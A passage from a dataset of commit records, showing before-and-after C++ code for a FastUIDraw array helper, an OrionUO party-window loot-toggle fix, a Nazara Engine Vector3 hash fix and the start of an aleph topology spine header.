  *\/\n  c_array\n  sub_array(size_type pos, size_type length) const\n  {\n    FASTUIDRAWassert(pos + length <= m_size);\n    return c_array(m_ptr + pos, length);\n  }\n\n  \/*!\n    Returns a sub-array, equivalent to\n    \\code\n    sub_array(pos, size() - pos)\n    \\endcode\n    \\param pos position of returned sub-array to start,\n               i.e. returned c_array's c_ptr() will return\n               this->c_ptr() + pos. It is an error is pos\n               is negative.\n   *\/\n  c_array\n  sub_array(size_type pos) const\n  {\n    FASTUIDRAWassert(pos <= m_size);\n    return c_array(m_ptr + pos, m_size - pos);\n  }\n\n  \/*!\n    Returns a sub-array, equivalent to\n    \\code\n    sub_array(R.m_begin, R.m_end - R.m_begin)\n    \\endcode\n    \\tparam I type convertible to size_type\n    \\param R range of returned sub-array\n   *\/\n  template<typename I>\n  c_array\n  sub_array(range_type<I> R) const\n  {\n    return sub_array(R.m_begin, R.m_end - R.m_begin);\n  }\n\n  \/*!\n    Returns true if and only if the passed\n    the c_array references exactly the same\n    data as this c_array.\n    \\param rhs c_array to which to compare\n   *\/\n  template<typename U>\n  bool\n  same_data(const c_array<U> &rhs) const\n  {\n    return m_ptr == rhs.m_ptr\n      && m_size * sizeof(T) == rhs.m_size * sizeof(U);\n  }\n\nprivate:\n  template<typename>\n  friend class c_array;\n\n  size_type m_size;\n  T *m_ptr;\n};\n\n\n\/*! @} *\/\n\n} \/\/namespace\n<|endoftext|>"}
{"text":"<commit_before>﻿\/***********************************************************************************\n**\n** GumpPartyManifest.cpp\n**\n** Copyright (C) August 2016 Hotride\n**\n************************************************************************************\n*\/\n\/\/----------------------------------------------------------------------------------\n#include \"GumpPartyManifest.h\"\n#include \"..\/Party.h\"\n#include \"..\/OrionUO.h\"\n#include \"..\/Network\/Packets.h\"\n#include \"..\/TextEngine\/GameConsole.h\"\n\/\/----------------------------------------------------------------------------------\nCGumpPartyManifest::CGumpPartyManifest(uint serial, short x, short y, bool canLoot)\n: CGump(GT_PARTY_MANIFEST, serial, x, y), m_CanLoot(canLoot)\n{\n}\n\/\/----------------------------------------------------------------------------------\nCGumpPartyManifest::~CGumpPartyManifest()\n{\n}\n\/\/----------------------------------------------------------------------------------\nvoid CGumpPartyManifest::UpdateContent()\n{\n\tClear();\n\n\tAdd(new CGUIResizepic(0, 0x0A28, 0, 0, 450, 480));\n\n\tCGUIText *text = (CGUIText*)Add(new CGUIText(0x0386, 40, 30));\n\ttext->CreateTextureA(1, \"Tell\");\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 80, 30));\n\ttext->CreateTextureA(1, \"Kick\");\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 153, 20));\n\ttext->CreateTextureA(2, \"Party Manifest\");\n\n\tbool isLeader = (g_Party.Leader == 0 || g_Party.Leader == g_PlayerSerial);\n\tbool isMember = (g_Party.Leader != 0 && g_Party.Leader != g_PlayerSerial);\n\n\tint yPtr = 48;\n\tushort gumpID = 0;\n\n\tIFOR(i, 0, 10)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_TELL_MEMBER == i, 0x0FAB, 0x0FAC, 0x0FAD, 40, yPtr + 2));\n\n\t\tif (isLeader)\n\t\t\tAdd(new CGUIButton(ID_GPM_BUTTON_KICK_MEMBER == i, 0x0FB1, 0x0FB2, 0x0FB3, 80, yPtr + 2));\n\n\t\tAdd(new CGUIGumppic(0x0475, 130, yPtr));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 140, yPtr + 1));\n\t\ttext->CreateTextureA(2, g_Party.Member[i].GetName(i + 1), 250, TS_CENTER);\n\n\t\tyPtr += 25;\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_SEND_MESSAGE, 0x0FAB, 0x0FAC, 0x0FAD, 70, 307));\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 307));\n\ttext->CreateTextureA(2, \"Send the party a message\");\n\n\tif (m_CanLoot)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_LEAVE, 0x0FA2, 0x0FA2, 0x0FA2, 70, 334));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 334));\n\t\ttext->CreateTextureA(2, \"Party can loot me\");\n\t}\n\telse\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_LEAVE, 0x0FA9, 0x0FA9, 0x0FA9, 70, 334));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 334));\n\t\ttext->CreateTextureA(2, \"Party CANNOT loot me\");\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_LEAVE, 0x0FAE, 0x0FAF, 0x0FB0, 70, 360));\n\n\tif (isMember)\n\t{\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 360));\n\t\ttext->CreateTextureA(2, \"Leave the party\");\n\t}\n\telse\n\t{\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 360));\n\t\ttext->CreateTextureA(2, \"Disband the party\");\n\t}\n\t\n\tif (isLeader)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_ADD, 0x0FA8, 0x0FA9, 0x0FAA, 70, 385));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 385));\n\t\ttext->CreateTextureA(2, \"Add New Member\");\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_OKAY, 0x00F9, 0x00F7, 0x00F8, 130, 430));\n\tAdd(new CGUIButton(ID_GPM_BUTTON_CANCEL, 0x00F3, 0x00F2, 0x00F1, 236, 430));\n}\n\/\/----------------------------------------------------------------------------------\nvoid CGumpPartyManifest::GUMP_BUTTON_EVENT_C\n{\n\tif (serial == ID_GPM_BUTTON_OKAY)\n\t{\n\t\tif (g_Party.Leader != 0 && g_Party.CanLoot != m_CanLoot)\n\t\t{\n\t\t\tg_Party.CanLoot = m_CanLoot;\n\n\t\t\tCPacketPartyChangeLootTypeRequest((uchar)m_CanLoot).Send();\n\t\t}\n\n\t\tm_RemoveMark = true;\n\t}\n\telse if (serial == ID_GPM_BUTTON_CANCEL)\n\t\tm_RemoveMark = true;\n\telse if (serial == ID_GPM_BUTTON_SEND_MESSAGE)\n\t{\n\t\tif (g_Party.Leader == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"You are not in a party.\");\n\t\telse\n\t\t\tg_GameConsole.SetText(L\"\/\");\n\t}\n\telse if (serial == ID_GPM_BUTTON_LOOT_TYPE)\n\t{\n\t\tm_CanLoot = !m_CanLoot;\n\t\tm_WantUpdateContent = true;\n\t}\n\telse if (serial == ID_GPM_BUTTON_LEAVE)\n\t{\n\t\tif (g_Party.Leader == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"You are not in a party.\");\n\t\telse\n\t\t{\n\/\/???????????????\n\t\t\tIFOR(i, 0, 10)\n\t\t\t{\n\t\t\t\tif (g_Party.Member[i].Serial != 0)\n\t\t\t\t\tCPacketPartyRemoveRequest(g_Party.Member[i].Serial).Send();\n\t\t\t}\n\/\/???????????????\n\t\t}\n\t}\n\telse if (serial == ID_GPM_BUTTON_ADD)\n\t{\n\t\tif (g_Party.Leader == 0 || g_Party.Leader == g_PlayerSerial)\n\t\t\tCPacketPartyInviteRequest().Send();\n\t}\n\telse if (serial >= ID_GPM_BUTTON_TELL_MEMBER && serial < ID_GPM_BUTTON_KICK_MEMBER)\n\t{\n\t\tint memberIndex = serial - ID_GPM_BUTTON_TELL_MEMBER;\n\t\t\n\t\tif (g_Party.Member[memberIndex].Serial == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"There is no one in that party slot.\");\n\t\telse\n\t\t{\n\t\t\tchar buf[10] = {0};\n\t\t\tsprintf_s(buf, \"\/%i \", memberIndex + 1);\n\t\t\tg_GameConsole.SetText(buf);\n\t\t}\n\t}\n\telse if (serial >= ID_GPM_BUTTON_KICK_MEMBER)\n\t{\n\t\tint memberIndex = serial - ID_GPM_BUTTON_KICK_MEMBER;\n\t\t\n\t\tif (g_Party.Member[memberIndex].Serial == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"There is no one in that party slot.\");\n\t\telse\n\t\t\tCPacketPartyRemoveRequest(g_Party.Member[memberIndex].Serial).Send();\n\t}\n}\n\/\/----------------------------------------------------------------------------------\n<commit_msg>Исправлено поведение гампа группы при изменении состояния возможности лута.<commit_after>﻿\/***********************************************************************************\n**\n** GumpPartyManifest.cpp\n**\n** Copyright (C) August 2016 Hotride\n**\n************************************************************************************\n*\/\n\/\/----------------------------------------------------------------------------------\n#include \"GumpPartyManifest.h\"\n#include \"..\/Party.h\"\n#include \"..\/OrionUO.h\"\n#include \"..\/Network\/Packets.h\"\n#include \"..\/TextEngine\/GameConsole.h\"\n\/\/----------------------------------------------------------------------------------\nCGumpPartyManifest::CGumpPartyManifest(uint serial, short x, short y, bool canLoot)\n: CGump(GT_PARTY_MANIFEST, serial, x, y), m_CanLoot(canLoot)\n{\n}\n\/\/----------------------------------------------------------------------------------\nCGumpPartyManifest::~CGumpPartyManifest()\n{\n}\n\/\/----------------------------------------------------------------------------------\nvoid CGumpPartyManifest::UpdateContent()\n{\n\tClear();\n\n\tAdd(new CGUIResizepic(0, 0x0A28, 0, 0, 450, 480));\n\n\tCGUIText *text = (CGUIText*)Add(new CGUIText(0x0386, 40, 30));\n\ttext->CreateTextureA(1, \"Tell\");\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 80, 30));\n\ttext->CreateTextureA(1, \"Kick\");\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 153, 20));\n\ttext->CreateTextureA(2, \"Party Manifest\");\n\n\tbool isLeader = (g_Party.Leader == 0 || g_Party.Leader == g_PlayerSerial);\n\tbool isMember = (g_Party.Leader != 0 && g_Party.Leader != g_PlayerSerial);\n\n\tint yPtr = 48;\n\tushort gumpID = 0;\n\n\tIFOR(i, 0, 10)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_TELL_MEMBER == i, 0x0FAB, 0x0FAC, 0x0FAD, 40, yPtr + 2));\n\n\t\tif (isLeader)\n\t\t\tAdd(new CGUIButton(ID_GPM_BUTTON_KICK_MEMBER == i, 0x0FB1, 0x0FB2, 0x0FB3, 80, yPtr + 2));\n\n\t\tAdd(new CGUIGumppic(0x0475, 130, yPtr));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 140, yPtr + 1));\n\t\ttext->CreateTextureA(2, g_Party.Member[i].GetName(i + 1), 250, TS_CENTER);\n\n\t\tyPtr += 25;\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_SEND_MESSAGE, 0x0FAB, 0x0FAC, 0x0FAD, 70, 307));\n\n\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 307));\n\ttext->CreateTextureA(2, \"Send the party a message\");\n\n\tif (m_CanLoot)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_LOOT_TYPE, 0x0FA2, 0x0FA2, 0x0FA2, 70, 334));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 334));\n\t\ttext->CreateTextureA(2, \"Party can loot me\");\n\t}\n\telse\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_LOOT_TYPE, 0x0FA9, 0x0FA9, 0x0FA9, 70, 334));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 334));\n\t\ttext->CreateTextureA(2, \"Party CANNOT loot me\");\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_LEAVE, 0x0FAE, 0x0FAF, 0x0FB0, 70, 360));\n\n\tif (isMember)\n\t{\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 360));\n\t\ttext->CreateTextureA(2, \"Leave the party\");\n\t}\n\telse\n\t{\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 360));\n\t\ttext->CreateTextureA(2, \"Disband the party\");\n\t}\n\t\n\tif (isLeader)\n\t{\n\t\tAdd(new CGUIButton(ID_GPM_BUTTON_ADD, 0x0FA8, 0x0FA9, 0x0FAA, 70, 385));\n\n\t\ttext = (CGUIText*)Add(new CGUIText(0x0386, 110, 385));\n\t\ttext->CreateTextureA(2, \"Add New Member\");\n\t}\n\n\tAdd(new CGUIButton(ID_GPM_BUTTON_OKAY, 0x00F9, 0x00F7, 0x00F8, 130, 430));\n\tAdd(new CGUIButton(ID_GPM_BUTTON_CANCEL, 0x00F3, 0x00F2, 0x00F1, 236, 430));\n}\n\/\/----------------------------------------------------------------------------------\nvoid CGumpPartyManifest::GUMP_BUTTON_EVENT_C\n{\n\tif (serial == ID_GPM_BUTTON_OKAY)\n\t{\n\t\tif (g_Party.Leader != 0 && g_Party.CanLoot != m_CanLoot)\n\t\t{\n\t\t\tg_Party.CanLoot = m_CanLoot;\n\n\t\t\tCPacketPartyChangeLootTypeRequest((uchar)m_CanLoot).Send();\n\t\t}\n\n\t\tm_RemoveMark = true;\n\t}\n\telse if (serial == ID_GPM_BUTTON_CANCEL)\n\t\tm_RemoveMark = true;\n\telse if (serial == ID_GPM_BUTTON_SEND_MESSAGE)\n\t{\n\t\tif (g_Party.Leader == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"You are not in a party.\");\n\t\telse\n\t\t\tg_GameConsole.SetText(L\"\/\");\n\t}\n\telse if (serial == ID_GPM_BUTTON_LOOT_TYPE)\n\t{\n\t\tm_CanLoot = !m_CanLoot;\n\t\tm_WantUpdateContent = true;\n\t}\n\telse if (serial == ID_GPM_BUTTON_LEAVE)\n\t{\n\t\tif (g_Party.Leader == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"You are not in a party.\");\n\t\telse\n\t\t{\n\/\/???????????????\n\t\t\tIFOR(i, 0, 10)\n\t\t\t{\n\t\t\t\tif (g_Party.Member[i].Serial != 0)\n\t\t\t\t\tCPacketPartyRemoveRequest(g_Party.Member[i].Serial).Send();\n\t\t\t}\n\/\/???????????????\n\t\t}\n\t}\n\telse if (serial == ID_GPM_BUTTON_ADD)\n\t{\n\t\tif (g_Party.Leader == 0 || g_Party.Leader == g_PlayerSerial)\n\t\t\tCPacketPartyInviteRequest().Send();\n\t}\n\telse if (serial >= ID_GPM_BUTTON_TELL_MEMBER && serial < ID_GPM_BUTTON_KICK_MEMBER)\n\t{\n\t\tint memberIndex = serial - ID_GPM_BUTTON_TELL_MEMBER;\n\t\t\n\t\tif (g_Party.Member[memberIndex].Serial == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"There is no one in that party slot.\");\n\t\telse\n\t\t{\n\t\t\tchar buf[10] = {0};\n\t\t\tsprintf_s(buf, \"\/%i \", memberIndex + 1);\n\t\t\tg_GameConsole.SetText(buf);\n\t\t}\n\t}\n\telse if (serial >= ID_GPM_BUTTON_KICK_MEMBER)\n\t{\n\t\tint memberIndex = serial - ID_GPM_BUTTON_KICK_MEMBER;\n\t\t\n\t\tif (g_Party.Member[memberIndex].Serial == 0)\n\t\t\tg_Orion.CreateTextMessage(TT_SYSTEM, 0xFFFFFFFF, 3, 0, \"There is no one in that party slot.\");\n\t\telse\n\t\t\tCPacketPartyRemoveRequest(g_Party.Member[memberIndex].Serial).Send();\n\t}\n}\n\/\/----------------------------------------------------------------------------------\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2015 Rémi Bèges - Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Mathematics module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#pragma once\n\n#ifndef NAZARA_VECTOR3_HPP\n#define NAZARA_VECTOR3_HPP\n\n#include <Nazara\/Core\/String.hpp>\n#include <functional>\n\nnamespace Nz\n{\n\tstruct SerializationContext;\n\n\ttemplate<typename T> class Vector2;\n\ttemplate<typename T> class Vector4;\n\n\ttemplate<typename T>\n\tclass Vector3\n\t{\n\t\tpublic:\n\t\t\tVector3() = default;\n\t\t\tVector3(T X, T Y, T Z);\n\t\t\tVector3(T X, const Vector2<T>& vec);\n\t\t\texplicit Vector3(T scale);\n\t\t\tVector3(const T vec[3]);\n\t\t\tVector3(const Vector2<T>& vec, T Z = 0.0);\n\t\t\ttemplate<typename U> explicit Vector3(const Vector3<U>& vec);\n\t\t\tVector3(const Vector3& vec) = default;\n\t\t\texplicit Vector3(const Vector4<T>& vec);\n\t\t\t~Vector3() = default;\n\n\t\t\tT AbsDotProduct(const Vector3& vec) const;\n\t\t\tT AngleBetween(const Vector3& vec) const;\n\n\t\t\tVector3 CrossProduct(const Vector3& vec) const;\n\n\t\t\tT Distance(const Vector3& vec) const;\n\t\t\tfloat Distancef(const Vector3& vec) const;\n\t\t\tT DotProduct(const Vector3& vec) const;\n\n\t\t\tT GetLength() const;\n\t\t\tfloat GetLengthf() const;\n\t\t\tVector3 GetNormal(T* length = nullptr) const;\n\t\t\tT GetSquaredLength() const;\n\n\t\t\tVector3& MakeBackward();\n\t\t\tVector3& MakeDown();\n\t\t\tVector3& MakeForward();\n\t\t\tVector3& MakeLeft();\n\t\t\tVector3& MakeRight();\n\t\t\tVector3& MakeUnit();\n\t\t\tVector3& MakeUnitX();\n\t\t\tVector3& MakeUnitY();\n\t\t\tVector3& MakeUnitZ();\n\t\t\tVector3& MakeUp();\n\t\t\tVector3& MakeZero();\n\n\t\t\tVector3& Maximize(const Vector3& vec);\n\t\t\tVector3& Minimize(const Vector3& vec);\n\n\t\t\tVector3& Normalize(T* length = nullptr);\n\n\t\t\tVector3& Set(T X, T Y, T Z);\n\t\t\tVector3& Set(T X, const Vector2<T>& vec);\n\t\t\tVector3& Set(T scale);\n\t\t\tVector3& Set(const T vec[3]);\n\t\t\tVector3& Set(const Vector2<T>& vec, T Z = 0.0);\n\t\t\tVector3& Set(const Vector3<T>& vec);\n\t\t\ttemplate<typename U> Vector3& Set(const Vector3<U>& vec);\n\t\t\tVector3& Set(const Vector4<T>& vec);\n\n\t\t\tT SquaredDistance(const Vector3& vec) const;\n\n\t\t\tString ToString() const;\n\n\t\t\toperator T* ();\n\t\t\toperator const T* () const;\n\n\t\t\tconst Vector3& operator+() const;\n\t\t\tVector3 operator-() const;\n\n\t\t\tVector3 operator+(const Vector3& vec) const;\n\t\t\tVector3 operator-(const Vector3& vec) const;\n\t\t\tVector3 operator*(const Vector3& vec) const;\n\t\t\tVector3 operator*(T scale) const;\n\t\t\tVector3 operator\/(const Vector3& vec) const;\n\t\t\tVector3 operator\/(T scale) const;\n\t\t\tVector3& operator=(const Vector3& vec) = default;\n\n\t\t\tVector3& operator+=(const Vector3& vec);\n\t\t\tVector3& operator-=(const Vector3& vec);\n\t\t\tVector3& operator*=(const Vector3& vec);\n\t\t\tVector3& operator*=(T scale);\n\t\t\tVector3& operator\/=(const Vector3& vec);\n\t\t\tVector3& operator\/=(T scale);\n\n\t\t\tbool operator==(const Vector3& vec) const;\n\t\t\tbool operator!=(const Vector3& vec) const;\n\t\t\tbool operator<(const Vector3& vec) const;\n\t\t\tbool operator<=(const Vector3& vec) const;\n\t\t\tbool operator>(const Vector3& vec) const;\n\t\t\tbool operator>=(const Vector3& vec) const;\n\n\t\t\tstatic Vector3 Backward();\n\t\t\tstatic Vector3 CrossProduct(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic T DotProduct(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic T Distance(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic float Distancef(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic Vector3 Down();\n\t\t\tstatic Vector3 Forward();\n\t\t\tstatic Vector3 Left();\n\t\t\tstatic Vector3 Lerp(const Vector3& from, const Vector3& to, T interpolation);\n\t\t\tstatic Vector3 Normalize(const Vector3& vec);\n\t\t\tstatic Vector3 Right();\n\t\t\tstatic T SquaredDistance(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic Vector3 Unit();\n\t\t\tstatic Vector3 UnitX();\n\t\t\tstatic Vector3 UnitY();\n\t\t\tstatic Vector3 UnitZ();\n\t\t\tstatic Vector3 Up();\n\t\t\tstatic Vector3 Zero();\n\n\t\t\tT x, y, z;\n\t};\n\n\ttypedef Vector3<double> Vector3d;\n\ttypedef Vector3<float> Vector3f;\n\ttypedef Vector3<int> Vector3i;\n\ttypedef Vector3<unsigned int> Vector3ui;\n\ttypedef Vector3<Int32> Vector3i32;\n\ttypedef Vector3<UInt32> Vector3ui32;\n\n\ttemplate<typename T> bool Serialize(SerializationContext& context, const Vector3<T>& vector);\n\ttemplate<typename T> bool Unserialize(SerializationContext& context, Vector3<T>* vector);\n}\n\ntemplate<typename T> std::ostream& operator<<(std::ostream& out, const Nz::Vector3<T>& vec);\n\ntemplate<typename T> Nz::Vector3<T> operator*(T scale, const Nz::Vector3<T>& vec);\ntemplate<typename T> Nz::Vector3<T> operator\/(T scale, const Nz::Vector3<T>& vec);\n\nnamespace std\n{\n\ntemplate<class T>\nstruct hash<Nz::Vector2<T>>;\n\n}\n\n#include <Nazara\/Math\/Vector3.inl>\n\n#endif \/\/ NAZARA_VECTOR3_HPP\n<commit_msg>Fixing an oopsie (2)<commit_after>\/\/ Copyright (C) 2015 Rémi Bèges - Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Mathematics module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#pragma once\n\n#ifndef NAZARA_VECTOR3_HPP\n#define NAZARA_VECTOR3_HPP\n\n#include <Nazara\/Core\/String.hpp>\n#include <functional>\n\nnamespace Nz\n{\n\tstruct SerializationContext;\n\n\ttemplate<typename T> class Vector2;\n\ttemplate<typename T> class Vector4;\n\n\ttemplate<typename T>\n\tclass Vector3\n\t{\n\t\tpublic:\n\t\t\tVector3() = default;\n\t\t\tVector3(T X, T Y, T Z);\n\t\t\tVector3(T X, const Vector2<T>& vec);\n\t\t\texplicit Vector3(T scale);\n\t\t\tVector3(const T vec[3]);\n\t\t\tVector3(const Vector2<T>& vec, T Z = 0.0);\n\t\t\ttemplate<typename U> explicit Vector3(const Vector3<U>& vec);\n\t\t\tVector3(const Vector3& vec) = default;\n\t\t\texplicit Vector3(const Vector4<T>& vec);\n\t\t\t~Vector3() = default;\n\n\t\t\tT AbsDotProduct(const Vector3& vec) const;\n\t\t\tT AngleBetween(const Vector3& vec) const;\n\n\t\t\tVector3 CrossProduct(const Vector3& vec) const;\n\n\t\t\tT Distance(const Vector3& vec) const;\n\t\t\tfloat Distancef(const Vector3& vec) const;\n\t\t\tT DotProduct(const Vector3& vec) const;\n\n\t\t\tT GetLength() const;\n\t\t\tfloat GetLengthf() const;\n\t\t\tVector3 GetNormal(T* length = nullptr) const;\n\t\t\tT GetSquaredLength() const;\n\n\t\t\tVector3& MakeBackward();\n\t\t\tVector3& MakeDown();\n\t\t\tVector3& MakeForward();\n\t\t\tVector3& MakeLeft();\n\t\t\tVector3& MakeRight();\n\t\t\tVector3& MakeUnit();\n\t\t\tVector3& MakeUnitX();\n\t\t\tVector3& MakeUnitY();\n\t\t\tVector3& MakeUnitZ();\n\t\t\tVector3& MakeUp();\n\t\t\tVector3& MakeZero();\n\n\t\t\tVector3& Maximize(const Vector3& vec);\n\t\t\tVector3& Minimize(const Vector3& vec);\n\n\t\t\tVector3& Normalize(T* length = nullptr);\n\n\t\t\tVector3& Set(T X, T Y, T Z);\n\t\t\tVector3& Set(T X, const Vector2<T>& vec);\n\t\t\tVector3& Set(T scale);\n\t\t\tVector3& Set(const T vec[3]);\n\t\t\tVector3& Set(const Vector2<T>& vec, T Z = 0.0);\n\t\t\tVector3& Set(const Vector3<T>& vec);\n\t\t\ttemplate<typename U> Vector3& Set(const Vector3<U>& vec);\n\t\t\tVector3& Set(const Vector4<T>& vec);\n\n\t\t\tT SquaredDistance(const Vector3& vec) const;\n\n\t\t\tString ToString() const;\n\n\t\t\toperator T* ();\n\t\t\toperator const T* () const;\n\n\t\t\tconst Vector3& operator+() const;\n\t\t\tVector3 operator-() const;\n\n\t\t\tVector3 operator+(const Vector3& vec) const;\n\t\t\tVector3 operator-(const Vector3& vec) const;\n\t\t\tVector3 operator*(const Vector3& vec) const;\n\t\t\tVector3 operator*(T scale) const;\n\t\t\tVector3 operator\/(const Vector3& vec) const;\n\t\t\tVector3 operator\/(T scale) const;\n\t\t\tVector3& operator=(const Vector3& vec) = default;\n\n\t\t\tVector3& operator+=(const Vector3& vec);\n\t\t\tVector3& operator-=(const Vector3& vec);\n\t\t\tVector3& operator*=(const Vector3& vec);\n\t\t\tVector3& operator*=(T scale);\n\t\t\tVector3& operator\/=(const Vector3& vec);\n\t\t\tVector3& operator\/=(T scale);\n\n\t\t\tbool operator==(const Vector3& vec) const;\n\t\t\tbool operator!=(const Vector3& vec) const;\n\t\t\tbool operator<(const Vector3& vec) const;\n\t\t\tbool operator<=(const Vector3& vec) const;\n\t\t\tbool operator>(const Vector3& vec) const;\n\t\t\tbool operator>=(const Vector3& vec) const;\n\n\t\t\tstatic Vector3 Backward();\n\t\t\tstatic Vector3 CrossProduct(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic T DotProduct(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic T Distance(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic float Distancef(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic Vector3 Down();\n\t\t\tstatic Vector3 Forward();\n\t\t\tstatic Vector3 Left();\n\t\t\tstatic Vector3 Lerp(const Vector3& from, const Vector3& to, T interpolation);\n\t\t\tstatic Vector3 Normalize(const Vector3& vec);\n\t\t\tstatic Vector3 Right();\n\t\t\tstatic T SquaredDistance(const Vector3& vec1, const Vector3& vec2);\n\t\t\tstatic Vector3 Unit();\n\t\t\tstatic Vector3 UnitX();\n\t\t\tstatic Vector3 UnitY();\n\t\t\tstatic Vector3 UnitZ();\n\t\t\tstatic Vector3 Up();\n\t\t\tstatic Vector3 Zero();\n\n\t\t\tT x, y, z;\n\t};\n\n\ttypedef Vector3<double> Vector3d;\n\ttypedef Vector3<float> Vector3f;\n\ttypedef Vector3<int> Vector3i;\n\ttypedef Vector3<unsigned int> Vector3ui;\n\ttypedef Vector3<Int32> Vector3i32;\n\ttypedef Vector3<UInt32> Vector3ui32;\n\n\ttemplate<typename T> bool Serialize(SerializationContext& context, const Vector3<T>& vector);\n\ttemplate<typename T> bool Unserialize(SerializationContext& context, Vector3<T>* vector);\n}\n\ntemplate<typename T> std::ostream& operator<<(std::ostream& out, const Nz::Vector3<T>& vec);\n\ntemplate<typename T> Nz::Vector3<T> operator*(T scale, const Nz::Vector3<T>& vec);\ntemplate<typename T> Nz::Vector3<T> operator\/(T scale, const Nz::Vector3<T>& vec);\n\nnamespace std\n{\n\ntemplate<class T>\nstruct hash<Nz::Vector3<T>>;\n\n}\n\n#include <Nazara\/Math\/Vector3.inl>\n\n#endif \/\/ NAZARA_VECTOR3_HPP\n<|endoftext|>"}
{"text":"<commit_before>#ifndef ALEPH_TOPOLOGY_SPINE_HH__\n#define ALEPH_TOPOLOGY_SPINE_HH__\n\n#include <aleph\/topology\/Intersections.hh>\n\n#include <algorithm>\n#include <unordered_map>\n#include <set>\n#include <vector>\n\nnamespace aleph\n{\n\nnamespace topology\n{\n\n\/\/ Contains the 'dumbest' implementation for calculating the spine, i.e.\n\/\/ without any optimizations or skips. This will be used as the baseline\n\/\/ for comparisons, but also to check the correctness of the approach.\nnamespace dumb\n{\n\n\/**\n  Checks whether a simplex in a simplicial complex is principal, i.e.\n  whether it is not a proper face of any other simplex in K.\n*\/\n\ntemplate <class SimplicialComplex, class Simplex> bool isPrincipal( const Simplex& s, const SimplicialComplex& K )\n{\n  \/\/ Individual vertices cannot be considered to be principal because\n  \/\/ they do not have a free face.\n  if( s.dimension() == 0 )\n    return false;\n\n  bool principal = true;\n  auto itPair    = K.range( s.dimension() + 1 );\n\n  for( auto it = itPair.first; it != itPair.second; ++it )\n  {\n    auto&& t = *it;\n\n    \/\/ This check assumes that the simplicial complex is valid, so it\n    \/\/ suffices to search faces in one dimension _below_ s. Note that\n    \/\/ the check only has to evaluate the *size* of the intersection,\n    \/\/ as this is sufficient to determine whether a simplex is a face\n    \/\/ of another simplex.\n    if( sizeOfIntersection(s,t) == s.size() )\n      principal = false;\n  }\n\n  return principal;\n}\n\n\/**\n  Checks whether a simplex in a simplicial complex is admissible, i.e.\n  the simplex is *principal* and has at least one free face.\n*\/\n\ntemplate <class SimplicialComplex, class Simplex> Simplex isAdmissible( const Simplex& s, const SimplicialComplex& K )\n{\n  if( !isPrincipal(s,K) )\n    return Simplex();\n\n  \/\/ Check whether a free face exists ----------------------------------\n\n  std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n  std::vector<bool> admissible( faces.size(), true );\n\n  std::size_t i = 0;\n  auto itPair   = K.range( s.dimension() ); \/\/ valid range for searches, viz. *all*\n                                            \/\/ faces in \"one dimension up\"\n\n  for( auto&& face : faces )\n  {\n    for( auto it = itPair.first; it != itPair.second; ++it )\n    {\n      auto&& t = *it;\n\n      \/\/ We do not have to check for intersections with the original\n      \/\/ simplex from which we started---we already know that we are\n      \/\/ a face.\n      if( t != s )\n      {\n        if( sizeOfIntersection(face,t) == face.size() )\n        {\n          admissible[i] = false;\n          break;\n        }\n      }\n    }\n\n    ++i;\n  }\n\n  auto pos = std::find( admissible.begin(), admissible.end(), true );\n  if( pos == admissible.end() )\n    return 